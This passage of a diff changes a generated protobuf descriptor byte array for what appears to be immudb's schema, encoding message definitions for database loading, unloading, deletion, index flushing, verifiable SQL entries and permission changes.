0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1e, - 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x4a, - 0x0a, 0x14, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x12, 0x1a, - 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4d, 0x0a, 0x14, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, - 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x09, - 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x56, 0x32, 0x22, 0x5b, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, - 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x41, 0x0a, 0x09, - 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, - 0x87, 0x01, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, - 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, - 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, - 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, 0x21, 0x0a, 0x05, 0x43, 0x68, 0x75, - 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x4e, 0x0a, 0x12, - 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x1e, 0x0a, 0x0a, - 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, 0x6d, 0x0a, 0x0e, - 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, - 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, - 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, - 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x7c, 0x0a, 0x0f, 0x53, - 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, - 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, - 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, - 0x61, 0x6d, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, - 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, - 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, - 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, + 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x32, 0x0a, 0x14, 0x4c, 0x6f, 0x61, + 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, + 0x15, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x22, 0x34, 0x0a, 0x16, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, + 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, 0x0a, + 0x16, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x22, 0x59, 0x0a, 0x11, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, + 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, + 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x02, 0x52, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, + 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x22, 0x30, + 0x0a, 0x12, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x22, 0x25, 0x0a, 0x05, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x74, 0x61, 0x62, + 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x74, 0x61, + 0x62, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x88, 0x01, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x47, + 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x61, 0x62, + 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x12, + 0x33, 0x0a, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x08, 0x70, 0x6b, 0x56, 0x61, + 0x6c, 0x75, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, + 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, + 0x54, 0x78, 0x22, 0x81, 0x01, 0x0a, 0x17, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x42, + 0x0a, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x52, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, + 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, + 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, + 0x74, 0x78, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, + 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, + 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, + 0x61, 0x22, 0x87, 0x07, 0x0a, 0x12, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x73, 0x71, 0x6c, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x52, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, + 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, + 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, + 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, + 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, + 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x49, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x12, + 0x14, 0x0a, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x18, 0x10, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x05, + 0x50, 0x4b, 0x49, 0x44, 0x73, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, + 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, + 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x57, + 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x09, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, + 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, + 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, + 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, + 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x2e, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, + 0x12, 0x51, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0b, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x31, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, + 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, + 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, + 0x79, 0x49, 0x64, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, + 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, + 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, + 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, + 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, + 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x3a, 0x02, 0x38, 0x01, 0x4a, 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, 0x10, 0x55, + 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x12, + 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, + 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x22, 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, + 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x37, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0e, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, + 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, + 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x22, 0x4a, 0x0a, 0x14, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 